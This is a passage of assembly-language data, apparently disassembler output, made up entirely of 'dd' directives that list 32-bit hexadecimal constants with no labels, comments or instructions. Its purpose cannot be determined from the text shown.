		dd 8CD6235Ch, 9C007A11h, 6AFC3C74h, 21009A55h, 0F396CCA6h
		dd 607E393Fh, 18BA907h,	0C0C1F2C7h, 73A20AA3h, 518032Ah
		dd 0E181BC2Bh, 5770306Bh, 30D15899h, 0F900B618h, 0BF62E83Ch
		dd 5827A602h
		dd 19EC181Ch, 21EF008Ch, 240777A9h, 765039ECh, 0EA6F0F64h
		dd 0F07802F9h, 5E45A8Fh, 45E5EDB1h, 23F43AECh, 0D73004Ch
		dd 80D854FBh, 25431C15h, 12572094h, 4737198Bh, 10267858h
		dd 898DA941h, 1744522Dh, 808A91C8h, 160F04Dh, 0B67409F7h
		dd 5807585Dh, 8E22F2BEh, 0FF09CCD0h, 9F9BA3E1h,	804C1144h
		dd 0D9A5B4F7h, 34E730Dh, 22BDF238h, 0D80169EAh,	7AA2A0B1h
		dd 10A55CDAh, 1A919817h, 46BBE181h, 18F4D8ACh, 53648894h
		dd 62233Ah, 72BD79DCh, 84A0824Eh, 6E005668h, 75AEB7EAh
		dd 1CA531F0h, 0CE357E73h, 7BCA2596h, 4F467490h,	1E1DED00h
		dd 0FB5EF306h, 0A38CDB12h, 330888h, 7E6B0F73h, 6EED506Ch
		dd 0A4FA11Dh, 23405C80h, 0F0BCC12Bh, 0A00095E2h, 0FF14D55Fh
		dd 3744889Eh, 0D0C0F4B5h, 7AC5004Fh, 27F0864Ch,	0B6161D55h
		dd 770F78F1h, 7F32A6A3h, 765A0B48h, 60E242B7h, 0A8A1587Bh
		dd 0E2186071h, 0F65FD003h, 0C7AED8B9h, 0A240116Bh, 1C0B5D18h
		dd 0E56D768Fh, 56BA8064h, 5E31B21Ch, 0E8FE6300h, 0AA6F018Ah
		dd 140497EAh, 32248DCEh, 3017E23Ch, 7B022AC5h, 59676F6h
		dd 0C2A08E32h, 891CA2D7h, 15E8CC84h, 0F851FF9Dh, 0A5C44680h
		dd 0E899B3A2h, 0C44E6BC0h, 5450BAFh, 0D810D510h, 0E1C08E03h
		dd 8F4BCD0Fh, 0A4F80790h, 2E951Fh, 0D07E6042h, 10A8275Ch
		dd 0B700450Dh, 3A20E18Bh, 10184975h, 73512BDEh,	1827140h
		dd 0C9ECEF47h, 0BF10D6AFh, 89D780E9h, 8C40AC39h, 85BC01C2h
		dd 50E6DBB2h, 0C6A4686Dh, 513C37h, 29FC0DC5h, 8BC373C2h
		dd 0A306ABF6h, 67439EEh, 0DE660B59h, 0B00B6AFBh, 0C6906CC6h
		dd 7D6D4814h, 8E760BF8h, 2E981879h, 7628BE1Bh, 8F008946h
		dd 0BE83CBADh, 48C5188Ah, 0D0ECC77Eh, 4C30492Fh, 48926AE9h
		dd 0EB61C800h, 0EA2BE257h, 71B50038h, 0AAB0CD6Ch, 0B73F4FDEh
		dd 0BD9E8072h, 0A1517862h, 85263C81h, 0AC468815h, 0CF3EF205h
		dd 0F238A249h, 6D213083h, 0C405B6FCh, 20423943h, 0D482BC65h
		dd 0DD4C030h, 9C7B801Fh, 3F11B518h, 5C28B820h, 0F1008CEh
		dd 867C509Eh, 0B03B7C5Ah, 0C9051523h, 98331082h, 0D93CC048h
		dd 8C0B0019h, 159CAC83h, 53064F84h, 17238ADh, 68590241h
		dd 5087F05Bh, 0A809B0AFh, 5945C448h, 0D31C079Dh, 5C945202h
		dd 1D465E0Ch, 86E80803h, 19B0AE71h, 412DD6ECh, 0BE2C9842h
		dd 0B1751322h, 9CB88C56h, 0D8A18D24h, 467678AEh, 0F06C0A8Bh
		dd 76027082h, 0D024D2EFh, 99861010h, 0A3680C44h, 567539FDh
		dd 0BC01A8F5h, 5BEBDE67h, 845AE281h, 916F4001h,	5133A21Ah
		dd 8D4AB823h, 3597C86Ch, 4501B70Bh, 2568E889h, 9D7002ADh
		dd 0A35E8B87h, 0D6883468h, 0A430A097h, 1FAF6F7h, 75FC5DDAh
		dd 0E4ACD242h, 12056669h, 73BE092Dh, 8423883Ah,	0E9500039h
		dd 3BC3756Ch, 748B09AFh, 0D870F99Eh, 8CA04778h,	0AC9E4DA1h
		dd 591CD15Ah, 501883h, 2DEB7A32h, 0C9DD0A67h, 0D454E305h
		dd 0A0A00EEFh, 2C989345h, 4D4674C0h, 2A590B00h,	0DE45350Eh
		dd 0B96FA313h, 0DAD6CC22h, 1C4A2E58h, 438500CDh, 6E7675E0h
		dd 25075538h, 0E4C8652Eh, 2F1F6033h, 0C7611E05h, 232023Bh
		dd 0EC42954Bh, 0C586C401h, 443B2B4Eh, 8B006223h, 46722B0Ch
		dd 0ECA49561h, 7300B1B7h, 7C264C6Ch, 16A4AB58h,	28104D78h
		dd 40710464h, 0E485D65Bh, 1488D08Eh, 18C20C0h, 0D89C631Bh
		dd 5FE20929h, 78465864h, 47E4A702h, 0F0D9928Ah,	0E4AF4060h
		dd 0ACD607B1h, 702EC7A1h, 5C8EF08Fh, 0F9D4F9C1h, 2F2FD974h
		dd 760232Ch, 99F23464h,	3A1AD800h, 0A70BE9EDh, 0C74AD876h
		dd 618A44BCh, 7CD0F3F1h, 849249D7h, 208C4100h, 0D5F27478h
		dd 18C4ACA7h, 0D4D82C60h, 93FA1213h, 0FD38C8h, 5A2A139Fh
		dd 4FA749C5h, 12D92800h, 0A10D2F46h, 0FCD6526Eh, 0ED5B0E03h
		dd 0BA1DD461h, 0D028944Fh, 25728A21h, 1C64E845h, 11FA0065h
		dd 13492934h, 0B33B63Bh, 90AB871Ah, 9D5F5AD4h, 0E38F3830h
		dd 0E5DCBE00h, 44A83606h, 0D27A19E1h, 0A60F2874h, 46747061h
		dd 228E001Ch, 0A8A1F95Bh, 387C039Eh, 93BF018Ah,	48F09068h
		dd 23E80F04h, 71390A1Eh, 18013E34h, 0EA2A4829h,	4C133F3Fh
		dd 5D86F404h, 0DE00ACACh, 0D7A755F9h, 80987497h, 12EA3440h
		dd 0EC23CFh, 5E447620h,	3E2422BFh, 184C860h, 0D307D4B6h
		dd 0EC0178ACh, 27554BA5h, 0BFF1180h, 0C2FC941Fh, 4B26678h
		dd 226C3C5Ch, 0AAA43C5Eh, 898110C8h, 0D28F47BAh, 5B8B8880h
		dd 49059007h, 0DE296D35h, 4CFF90A4h, 53235C3Eh,	0BBC44401h
		dd 983343A2h, 0C44C6580h, 3800A997h, 45BD8016h,	24FDDF02h
		dd 5EE86BE1h, 35001846h, 0F398E019h, 9D7CBDF8h,	2485252h
		dd 0A2A4C445h, 6094D94Bh, 5C44D6Ah, 0BE711002h,	81D3F1D5h
		dd 0EDB5BFBCh, 0F4C3C004h, 34120746h, 0ECA08BD2h, 0C2300F5Dh
		dd 8002A35h, 0C87CE02Fh, 6A635212h, 2DD74D04h, 8E72FC90h
		dd 0D21F00B7h, 7CF97408h, 150E51EAh, 16258C1Ah,	7DA64D0h
		dd 77E0F584h, 0C5670359h, 92F7020Ch, 0D672700Ah, 0D4ACD88Ah
		dd 100D0BDEh, 0B4C58B46h, 0A56089E4h, 6F2DE315h, 0F084A2BDh
		dd 2F9C648Ch, 0EC908ABFh, 0B5EADDFBh, 7488200h,	3959AEB6h
		dd 0DA6B4F3Ch, 0B57BC018h, 3C53D8A1h, 0D6A50F63h, 46FE1CA0h
		dd 383A7BE8h, 0F6027AD4h, 62ECD16Fh, 0DE5CD4DCh, 119E1721h
		dd 2008AD36h, 272246D7h, 14DCE8EAh, 0E2D3007Ah,	0E588FDA1h
		dd 0D24FD1E7h, 19C8348Bh, 54F0CBC0h, 0FBA4CF5h,	0BED4AB09h
		dd 891004F3h, 3FBC499Fh, 1511B41Dh, 35C76B81h, 4B9C243Dh
		dd 0C82EDB00h, 5CF0A34Fh, 2AD60FE1h, 62C37ABFh,	3A0038A6h
		dd 0C2746BBDh, 12C0AAB0h, 0B51D3CBEh, 10C7FE08h, 24601B44h
		dd 800796A0h, 6021314Dh, 74A98D62h, 0E968055Ch,	8BE8C1ECh
		dd 70083BF7h, 0BF99808Ch, 6DB9B098h, 41B4F400h,	38C7DB0Bh
		dd 0ACEC382Ch, 39EF0404h, 509CC87Eh, 94BC6824h,	0A653414Fh
		dd 64230F8Ah, 623015A2h, 962CB8C0h, 87465E58h, 0B4A3C807h
		dd 86F0920Bh, 0D639285Ah, 3A3020D7h, 54988259h,	22BDA0CAh
		dd 0C888564Fh, 3BD04AD2h, 312370h, 4AE29942h, 0F230B7D6h
		dd 0C17C701Eh, 0D100B151h, 851830h, 1F433EA9h, 782C2086h
		dd 80BBE93Bh, 0BF4F5EE1h, 4AFDA7F4h, 601C0035h,	2470ED4h
		dd 865977E2h, 0E85E32A0h, 0E4F86582h, 8D71604Fh, 64C50133h
		dd 615A2D84h, 0B5CC4093h, 0FCBB482Bh, 603C8901h, 7B18ACD6h
		dd 709088h, 0B7DCF03Ch,	85C04F0Ah, 0BF11C600h, 8FF37E81h
		dd 60DEFFB4h, 5A96E0BCh, 0E820C405h, 971A8780h,	0CBB41510h
		dd 9DE90769h, 0F32AF34Eh, 0CFC196DAh, 38246193h, 8C8BE874h
		dd 848F0812h, 0EFD41820h, 0E00B40EEh, 0D718EBEEh, 861113B2h
		dd 7CA1CFF9h, 64582689h, 41C9A1F0h, 0BA2490E8h,	0C5D216AAh
		dd 19E8A04Fh, 3C0EFB4Bh, 804637F8h, 0BC302879h,	809A6590h
		dd 24345642h, 92333907h, 21036A1h, 0E43F7ACDh, 675800DDh
		dd 8C5F11D4h, 8095F3F9h, 3A2A2514h, 33818062h, 8C00285Fh
		dd 0D210C43Dh, 0F4408ADBh, 1C4049E4h, 4FA42468h, 1817ADE8h
		dd 0D8808791h, 0BC2EFB61h, 1B6740Ah, 0B4E0E03Fh, 0D50590h
		dd 0FC38BB83h, 4774BDFAh, 70D0C906h, 30299536h,	6459F203h
		dd 29003733h, 65219A66h, 1FAF53B8h, 6E8638C6h, 25B4A114h
		dd 0D4CF206Dh, 19CE10ECh, 5F32D60Bh, 7801CBDh, 7E8641E1h
		dd 0C5A829C8h, 45F1154h
		dd 0C73AE9B1h, 62C65882h, 74A87410h, 0ED0E8A46h, 1B0710E0h
		dd 2E58E37Dh, 0CF5D6004h, 74D132BAh, 64333B8Dh,	0DB3033A2h
		dd 707F02CDh, 898F0C16h, 1A00FC59h, 3952C4E8h, 5E872C7Bh
		dd 14467C50h, 1A2A480Bh, 109470D8h, 0C4BD6AC5h,	0A204ECACh
		dd 25CACFD5h, 961AC040h, 1802674Fh, 528A0762h, 0DCACD644h
		dd 0B0D58B00h, 7119564Bh, 7D3825B2h, 5720BC46h,	5003129Eh
		dd 23A43E04h, 8E600082h, 0A4E5DAA8h, 0E896C800h, 280EFDDFh
		dd 30F21374h, 0E720F698h, 42523BD0h, 0D7802421h, 122E087Ch
		dd 8A72DB0Bh, 9F8000E1h, 837D0DC3h, 26B617F0h, 88C08B82h
		dd 7D32C133h, 0F539CC34h, 669448FFh, 731C2090h,	0FA0E1DC4h
		dd 0AD23E029h, 318657EAh, 5A98E3E8h, 0D8940001h, 5C84BEB4h
		dd 331F6146h, 8C4F401Eh, 2483A34Dh, 0EDBCB11Ch,	0C0200113h
		dd 4604F7Bh, 320928B8h,	0B294F36Bh, 0B1D03014h,	21755E14h
		dd 88A41FC6h, 1D9831C9h, 80861134h, 0F3FA6444h,	8AE90C9Ch
		dd 4B1A701h, 0DE676D0Eh, 6F9162F6h, 135C52BCh, 0E001BDFCh
		dd 8A1C9BB0h, 0D8EA83F0h, 72D7D416h, 0E817E0A1h, 91B8480Bh
		dd 0DD5900F2h, 6669478h, 83002345h, 480D6843h, 0B1BB403Ah
		dd 74F82688h, 0F8006446h, 421A236Eh, 0C890BC69h, 0E59A2407h
		dd 3E31D44Fh, 8C7352E9h, 3F304FA2h, 0BFFCBDh, 38C3EE41h
		dd 86AECF94h, 8448D928h, 582DD401h, 28393CF8h, 94F38BD0h
		dd 2500DC28h, 1B354CDAh, 6EC1B675h, 0CF44605Ah,	47B4D18Eh
		dd 0F06082FDh, 9F2ACE88h, 1C63C98h, 0E9732D39h,	0BC4C57BAh
		dd 73328C4Eh, 5E7C843Ch, 0D49E5914h, 2A00EE3Ch,	10620FD6h
		dd 3D44EDCEh, 9612BD45h, 50F4F055h, 47D4388h, 20BEAFA4h
		dd 72888748h, 1C40013Eh, 0C883240Ah, 7CA66FDAh,	0CF7E80FDh
		dd 0F9187D01h, 0C6BFB17Ah, 23D82F3Fh, 0BBB0001Ah, 7E44779Fh
		dd 3D16140Bh, 1D448405h, 0A596E041h, 5BCC6C2Bh,	0A1C0B09Ah
		dd 2C442A60h, 802F1C4Ah, 0CF013623h, 833E4FEEh,	681F5868h
		dd 4D0110A6h, 0B0C8BD24h, 0A86404A9h, 0C1CA07D0h, 2BA2EA4Ch
		dd 98E22C17h, 303063F2h, 40649C68h, 22098676h, 0E84E8492h
		dd 28040DBh, 63493E7Fh,	2FF68303h, 0A0C010A0h, 9017BC31h
		dd 0D97426E0h, 0BD96C344h, 190021FAh, 9700123h,	1A7AE163h
		dd 56E67870h, 8B86960Bh, 0E4E4C51Eh, 4B67674Ch,	0ED941690h
		dd 45B4C7Ch, 62222A09h,	0F6878C56h, 0EF415158h,	60202BCEh
		dd 15C0BACFh, 0B49A85F0h, 7038BF0Bh, 0D20B4C10h, 0B4F39F26h
		dd 0D1753909h, 0E08B6044h, 42692D86h, 79E079E0h, 35E91863h
		dd 8F98D75Fh, 0C08888FCh, 552C7F96h, 4222A30Ch,	30FFF87Eh
		dd 0B8C15BE1h, 0A1757927h, 0D09B8D4Bh, 84231287h, 38F480F4h
		dd 323B9C69h, 0F6E112EAh, 8D0534B8h, 0ACFF2945h, 8C1CBC0Ch
		dd 39AF9100h, 904C3FA7h, 0A090B1Dh, 64782FFAh, 8CE6BD1Eh
		dd 46743CEEh, 12D50031h, 0BFD63F7Dh, 0B40850C2h, 810569D4h
		dd 37604C0h, 0F99EA083h, 20A4B532h, 5FC4BC5Eh, 0D080FC9Bh
		dd 5AF8886Fh, 702C7227h, 0D4D0D0FCh, 12693E10h,	40B43590h
		dd 0B5AE00ABh, 7386881Eh, 2601EDC6h, 0F0787A2Ch, 0B18B698Dh
		dd 9C0375AFh, 31E29998h, 0A75B64E8h, 8E76BB04h,	48884CA1h
		dd 47820A59h, 27CC920Eh, 42C048EDh, 0B72869Bh, 16568EA2h
		dd 1A0E0402h, 38B04E04h, 0BD1FC5Fh, 57EDE729h, 3411E01Dh
		dd 76395A82h, 0E98D487Eh, 7BFCF16Eh, 4B8800ECh,	0A28D3BBEh
		dd 0C302FBF1h, 0FF61FCE1h, 1F1CFA35h, 5FE1CB0h,	84C92206h
		dd 0E9B4E0AFh, 0EE6E1A09h, 56DF0688h, 90820059h, 83F090Ch
		dd 0AF5027F6h, 4521B6A0h, 11FC2047h, 4F86A868h,	7360088h
		dd 0A78A50A1h, 2C9107Dh, 9FF67B0Fh, 9BB13A01h, 4011D466h
		dd 4ED3E1C0h, 0C8E4CEF0h, 0C023C734h, 7B37BF31h, 0F98E6209h
		dd 324585Ch, 388C5988h,	58E835A2h, 0FC0974F5h, 5402A75Fh
		dd 3F803818h, 0E9843A04h, 58C93E2Ah, 8F609037h,	55EE087Eh
		dd 4676D210h, 521C0460h, 8CBCCC7Fh, 0AB1F8820h,	5DE0D222h
		dd 167E5CD0h, 0F4FE65D1h, 0EB09FB34h, 111882CFh, 5918AEB0h
		dd 76731C09h, 8078C54Dh, 0D41C52BEh, 10E667D5h,	0DD16FBFCh
		dd 0C452FE05h, 8623A43Ah, 7BD0E400h, 0D05EC47h,	81DF018Ch
		dd 229439D0h, 0FC10BFADh, 1C000EF1h, 4A9B70C1h,	1484E783h
		dd 0D0E9A019h, 4278304Ch, 60023C8Ch, 979D9439h,	0DA0B004Fh
		dd 9569AB5Ch, 0A705A2DBh, 92EF5419h, 5E0D68A8h,	4241AEEAh
		dd 0CE2AF344h, 0A716DE00h, 77081BEDh, 8A870782h, 0C9D68638h
		dd 0D8A184E6h, 2AE417AAh, 2E2FBCB2h, 3400C4E4h,	0F755F1ECh
		dd 1D3D9h, 5A232F7Eh, 0BD6680B9h, 0A7106004h, 0F8C3F777h
		dd 748904FFh, 0A95425BEh, 3AE841B8h, 88232C3Bh,	6A67900h
		dd 978EE4Ch, 7E93B2FFh,	0B45E64E4h, 0BC0B09Ah, 0DAE0B90Dh
		dd 0B059AB31h, 0B10033A1h, 0F64AC4BFh, 7146E0C8h, 0EA140067h
		dd 480EF3Fh, 0B1014906h, 3D5E5A0Ch, 20DAD726h, 0F2F46033h
		dd 4F38931Dh, 0D1AD6540h, 0BA159D96h, 87B84808h, 5F8C4D4Eh
		dd 8F51E539h, 0A7C75BA1h, 9C29AB2h, 7CCC5C5Ah, 0CD001846h
		dd 1EF361AAh, 6F59D18Ah, 0BCC85A34h, 52AD01BFh,	0B4801E5Bh
		dd 0ECC82A7Bh, 0F2B501C9h, 91A47872h, 0B7342021h, 20BC6071h
		dd 0B3E98904h, 95B464F4h, 7CFB2009h, 5A2F8D70h,	506F8604h
		dd 78A5D874h, 34601CC4h, 9939F2A5h, 0A4BC8052h,	301867BDh
		dd 0CEE60C9Bh, 7879F102h, 0C30077F8h, 446F1D1Ch, 5C5ECC7h
		dd 0CDE510A5h, 0C8548B9Dh, 6370C237h, 10B92441h, 4EAAEF76h
		dd 5BA82016h, 8E696E72h, 403874EAh, 9C848F83h, 34C6BB01h
		dd 3D67017Ch, 0B7331AD4h, 2565300Eh, 0E2F0F307h, 0E3053015h
		dd 0AD7550Ch, 2674902Fh, 5EECB4C4h, 0B9006546h,	52EFB81Fh
		dd 960C46D6h, 0F05EA9B5h, 4BEBF7D4h, 3AD81661h,	1C36232Ch
		dd 0EAAE8650h, 0E47B796Dh, 24C1D11Eh, 0EB8CE3C0h, 5B6A4A0h
		dd 6E6FE99Dh, 2E08A13Bh, 7C804CDBh, 2207D59Ah, 5024684Bh
		dd 0B099E40Eh, 1CF05876h, 8C87E8h, 6DEBD435h, 68614F72h
		dd 28E9BD65h, 5D8030FCh, 6F2EE3DFh, 5E257002h, 6D447A8Ah
		dd 4307E094h, 3824B98Dh, 341187Bh, 5864D71Ah, 0E22A12A3h
		dd 0C5B55382h, 0C0409E70h, 227AA2B3h, 0E32C966Bh, 0ECB2839h
		dd 7F71D999h, 9700806Eh, 489A405Ch, 731307CAh, 1881FDBEh
		dd 0C84E9B33h, 0C2CF8B88h, 5709BE76h, 16BFA0A1h, 62A3002Ah
		dd 0D9A51668h, 0C8C8CE03h, 44A0CE89h, 5B06DE75h, 7C05C401h
		dd 49A995F6h, 0D768709Ch, 0F2C0A2C7h, 387C301Dh, 16EA677Dh
		dd 8A5E5C39h, 0E842AF3Ah, 34E07516h, 1C699705h,	0B89A2E82h
		dd 86CBD3C0h, 0FE049E02h, 44E996AEh, 0BEE0C112h, 640E2A79h
		dd 51FA0B1Eh, 181A791Ch, 908400B9h, 9922EF6Bh, 730039AAh
		dd 67A297ECh, 9F540A40h, 378148B5h, 0C3EC468Bh,	94DC442Eh
		dd 8808CED9h, 0AF5DC064h, 703A8B78h, 59B0A7BCh,	439280F4h
		dd 2EC171E2h, 3E84D400h, 3A9A9F16h, 45FD010Bh, 4DB7F08Eh
		dd 2D86D170h, 0AB681F28h, 6224B1F7h, 881128C7h,	442B2B0Eh
		dd 92C4220h, 0F0C9026h,	0D02A54E9h, 84E51FBDh, 8837251Dh
		dd 0F98D707h, 0D0A31B02h, 26D24D0h, 1200F674h, 0F8DE1140h
		dd 4F1A7791h, 38C8C83Eh, 67002174h, 0B70648B1h,	79086020h
		dd 0F3EB07C5h, 5E40FB74h, 24D30F61h, 0B05827FEh, 167616EFh
		dd 0CCAA54BDh, 0BC16B100h
		dd 4CB5CE1h, 8C162C8h, 79D25DE8h, 18167958h, 82E03FD7h
		dd 0ACF97400h, 0D8A19DE9h, 8C405404h, 0F8B01719h, 9AB356Fh
		dd 0DD140B38h, 71CE9CC7h, 16F9E983h, 0D8B12AA9h, 352A9C61h
		dd 0CD9794A5h, 0A3F8C048h, 634FA622h, 205708C2h, 0D1839AE1h
		dd 2DB8AF1Fh, 3B196C18h, 542F60Ch, 72B8951h, 23D50063h
		dd 3CCBA7F6h, 780BFE2Ch, 4AAEEE60h, 79250001h, 3A3B2005h
		dd 602748D1h, 7EA442B9h, 4100D640h, 0B90DEA76h,	0B18A16h
		dd 121EC87Eh, 0E5D40C23h, 0D490B684h, 0B1A0C800h, 410857E1h
		dd 73AB2875h, 5CB22090h, 0C8D1C725h, 2F427BA8h,	444587CBh
		dd 0B6604FE4h, 6501AD68h, 3E4A7595h, 96D4185Bh,	524B5B8Dh
		dd 473009D0h, 0B03CA4C7h, 72A35142h, 0CC56599Eh, 25F4D12Ch
		dd 36D950F9h, 1238B418h, 0D0185D02h, 8C34A870h,	0A08CC64Ah
		dd 0CB9E4F90h, 0C04DC82Ch, 78A148A6h, 4B52D58h,	0BACFD674h
		dd 7104ACh, 80E188CAh, 99B71983h, 0B84EE94Eh, 0B84890EFh
		dd 40A1210h, 46F5BE7Ch,	7B395090h, 0D8AD9F7Dh, 2900CE40h
		dd 0C0709609h, 1B180FB8h, 47038C58h, 0D3103F3Dh, 39A1178Ah
		dd 29BC2072h, 0F4404BEAh, 405BF8BFh, 23F831AAh,	4ED08140h
		dd 0D4DC20FAh, 10744D15h, 890EA9DFh, 0B83D0A5Eh, 4D4674h
		dd 0C7BA9AF5h, 14E420ADh, 203E3661h, 93772E00h,	9925A02Dh
		dd 0D412D90Eh, 9C9ECA60h, 0F1896311h, 0B7BDF858h, 3F0E09DCh
		dd 590018F1h, 0CAA3E897h, 332B00F4h, 519FCCFBh,	6404577Dh
		dd 0DC30446Eh, 0D4B8EDC5h, 55D36C50h, 883E9484h, 1B004B84h
		dd 8B8299E3h, 0E4728E47h, 22580Dh, 5DC8E680h, 0B30563A4h
		dd 3A7AA292h, 813E40FCh, 9A30FD02h, 18FC8262h, 55E800D6h
		dd 9C1966F0h, 0DD00C0CEh, 107B7305h, 1334FB6Bh,	0A319BB4h
		dd 80A49FF8h, 6F05BEABh, 3248C9F1h, 135E1340h, 0B0F288D4h
		dd 293062F2h, 7ABE0BC7h, 0C7154B2h, 0ED1819D9h,	0BA45D900h
		dd 13EBDA36h, 0DC18B78Fh, 0C0044E2Eh, 6EE33533h, 0BEFCE0h
		dd 289D3114h, 27B6B758h, 467684BCh, 0F9057A88h,	71105D59h
		dd 0F0A9E053h, 7707C6E8h, 6203508h, 82D614h, 0D8885328h
		dd 3E021F01h, 38CAC024h, 0F4488A42h, 89037808h,	4934C8Bh
		dd 0A8B6708Eh, 1D4F4674h, 0E6804C23h, 0DD07A114h, 0EA852795h
		dd 8000859h, 0E5F9659h,	4AB1CADh, 808E1E98h, 0D4CEAF3h
		dd 29794F34h, 0B272E91Eh, 3527D4A6h, 46198064h,	45CDB6ACh
		dd 7FAAB180h, 58E54CD9h, 0E054A6D7h, 1E311DFh, 0F0425CC5h
		dd 0F059E899h, 0E02C6A24h, 4674D0E2h, 9C980461h, 209D72E1h
		dd 4BB05426h, 2216BD0Ch, 0EC407E46h, 0AB6DAC5Dh, 3E8B892h
		dd 342BDDF8h, 0A29CE5D0h, 3085F29Ch, 0F3003B84h, 2C8FD45Dh
		dd 48BEEF5Eh, 3054A017h, 796A026Ch, 8202A329h, 810014D0h
		dd 0D78F279Dh, 5FF05B20h, 0A77C8889h, 0C11DDA20h, 484E1990h
		dd 0D30C32DEh, 14B2ACF2h, 7E91DF30h, 122700BEh,	5C4E786Bh
		dd 4F7C8AA4h, 9080B04Eh, 829963E1h, 38037062h, 0FEEB4D8Bh
		dd 0F890F884h, 3A1E8C1Bh, 100FC91Ah, 8F051C5Dh,	0D00446B7h
		dd 0F0473BEh, 2B78E4E9h, 19EE0232h, 19988CC7h, 0C0F40528h
		dd 0F07AA46Fh, 8C2C5900h, 0E9C4C844h, 13D4B4h, 5D1C2595h
		dd 6B5F86Dh, 88F349D3h,	0B63031A2h, 0B6504BAh, 0ACFEA7D6h
		dd 0AD71130h, 2ED59901h, 0FC8E7957h, 0D47F7867h, 2CC37E4Ah
		dd 473D8241h, 603244E0h, 1BF15BCh, 0A7C0B0DDh, 2B171A2Ah
		dd 12D7985Dh, 0DBE43CE5h, 0F0E795F5h, 0DD603364h, 5E04D1E3h
		dd 544937C3h, 167A4881h, 105F4000h, 961A2B04h, 44F97414h
		dd 0F60072B8h, 0C64975EFh, 2CE8B12Ch, 8A04FF2h,	7E001FD2h
		dd 6F91402h, 80179D15h,	0B966291h, 0D000E185h, 0CF4072B6h
		dd 0E0AAB02Ch, 22A2CC00h, 9103755Eh, 40E549C4h,	0D16084E4h
		dd 5002C2F6h, 9FD692B2h, 7434509Dh, 23BF813Fh, 0F05031DCh
		dd 0BC6445F8h, 78EA480Fh, 0FA2A5582h, 94CC68EBh, 247ABFC4h
		dd 71553F00h, 0A20E2EBDh, 0BFE9D21Dh, 0F06861ADh, 0E8265BD9h
		dd 76387C58h, 6F1A241Eh, 0B7A02888h, 8CFB0B21h,	24B27370h
		dd 91D8F32Fh, 0BC344D54h, 0B5A100A2h, 7CDBE0A7h, 0ED01EE06h
		dd 748E1092h, 802EADBEh, 45BFEAACh, 0ACE84E67h,	44ACC5C5h
		dd 3F270716h, 0A4C23E4h, 1D8A663Bh, 0E00FC5Eh, 82DD2955h
		dd 1F009838h, 3525628Ah, 0C01A92EAh, 2AA2BE38h,	0E8A0500Ah
		dd 409573B3h, 803CE1D8h, 0FC9EEBD4h, 0D66704DCh, 0D547D22Ah
		dd 0D314BD00h, 3780709Ah, 21864B94h, 2F82070Eh,	23BDC671h
		dd 0FBB7E4A8h, 4F20C02Bh, 4097AF61h, 168DA0CCh,	0AD5945h
		dd 8AA5F3A4h, 735F0576h, 2880749Bh, 6F2D886Ah, 26CB7900h
		dd 8A4DD7BFh, 0AFF72ED1h, 0C8422F7Ch, 0E75E9074h, 0E592D419h
		dd 0B084AC03h, 436E32E8h, 88A2C048h, 4F0F330h, 2A23496Fh
		dd 4824C8EEh, 65670D09h, 0D0F80153h, 3A2A1F56h,	21723F0h
		dd 24066E58h, 0B4193E40h, 180FF801h, 0DE105EFAh, 55C8472Bh
		dd 806A7622h, 271E8317h, 48272CE2h, 6C803479h, 7475B5C1h
		dd 0F1AE4BF1h, 0A2AC2340h, 17B93065h, 81AFA93Bh, 0B67318A8h
		dd 372F58E5h, 0D8534BA0h, 567C58h, 0F7D77D1Eh, 58729002h
		dd 84A5B75Ah, 7FC072EEh, 20253D8Ah, 8BC9497h, 0AF3F571Ch
		dd 0BD0044EAh, 0BB00DCB7h, 0C41F9575h, 6F390BF9h, 60D9CB29h
		dd 9181679h, 38CAC704h,	0D0BCF120h, 599C04DEh, 5ADC8318h
		dd 0B6D0BCFCh, 8D22DDEh, 9DC068EDh, 4F7E88A3h, 2F5491BEh
		dd 5C4B3F21h, 0C410C747h, 0AE51608Bh, 0F89154BEh, 26CF12D4h
		dd 0A100F712h, 99FCF75Ch, 0DC200681h, 21F4032Dh, 7862E700h
		dd 354256ABh, 2A9809B9h, 0F87A04DEh, 1A0A4D05h,	70EC8407h
		dd 6FDBF405h, 648F9A7h,	34BD9D96h, 0EB898A8h, 0EFDC2C94h
		dd 0F44A07A4h, 3AE95C40h, 448218DEh, 2D76DAAh, 7E6BD588h
		dd 0AF028C24h, 7A13E199h, 41950F8h, 9B3FFF99h, 45438054h
		dd 732087C7h, 9A81023Bh, 95831A33h, 0BED490D7h,	27D6306Ah
		dd 11D1C739h, 57EDF813h, 34C8988Fh, 2A881C9h, 8E3A6DBAh
		dd 0C015C81Ch, 0EE83EB4Dh, 0BC905E4Fh, 80280996h, 0E00044DEh
		dd 5E295FFFh, 60F7198Ch, 0D727D982h, 9BD8BD3h, 7034DB64h
		dd 3B5A162Fh, 2B182CC2h, 84915C97h, 0D5AC780h, 0C60A7442h
		dd 0BBAAB743h, 0B472A602h, 7CE4E9h, 0AC79D175h,	89568180h
		dd 0A9E30500h, 828F3DA5h, 220EA08h, 0D7EB8825h,	0C5A32F6h
		dd 0B73E125h, 0C70C4D18h, 0A4F6C01Fh, 7A029C8Ch, 0E2D7D44Fh
		dd 77DCCA2Fh, 70356891h, 480059ECh, 7F60CD3Eh, 3C2CA41h
		dd 534F6BCFh, 5927A368h, 5EC05228h, 819C8540h, 3D47A9B4h
		dd 0F8300120h, 4990286h, 0BD9E7600h, 0F204E65h,	3660B47Ah
		dd 82D9C907h, 0EE135B01h, 7F9BD427h, 0AC6871E5h, 8C7BBCh
		dd 85806F31h, 5AE2A0C0h, 12D47905h, 28CE72DAh, 81C07A88h
		dd 543058h, 5F481CECh, 29390DBAh, 11509D95h, 34B68065h
		dd 50FC03EDh, 2EBDE137h, 84C03195h, 1214A6EFh, 4C4C18F6h
		dd 718C1DB8h, 994F0E6Fh, 2C829726h, 0A4F81274h,	5429B612h
		dd 0DA5B04E6h, 0FABE8084h, 0B7DC10B0h, 18910897h, 0A8D64D80h
		dd 2C2435D0h, 46748427h, 17B60032h, 0A5EA13Eh, 1A2C0973h
		dd 0AC008F93h, 68584FB5h, 28A544h, 81AF6040h, 0B5051C21h
		dd 0C41C4D95h, 9C20FB8Ch, 7C4E6Fh, 0A418BB7h, 51C381D0h
		dd 0E44BC128h, 81034620h
		dd 80E9E1D4h, 0D2DCD16Ah, 18B0074h, 0EAAF355Bh,	38ACE118h
		dd 8C1AECF8h, 504AD73h,	31912586h, 82A022AFh, 2F130060h
		dd 22B48101h, 0D7E22A40h, 89246C7Ch, 5C2D09F4h,	8311E435h
		dd 0D54FED80h, 87008A12h, 48390EBFh, 509B018Ch,	20B63481h
		dd 31013A55h, 1A245F98h, 20909B8Bh, 49651088h, 40DA3627h
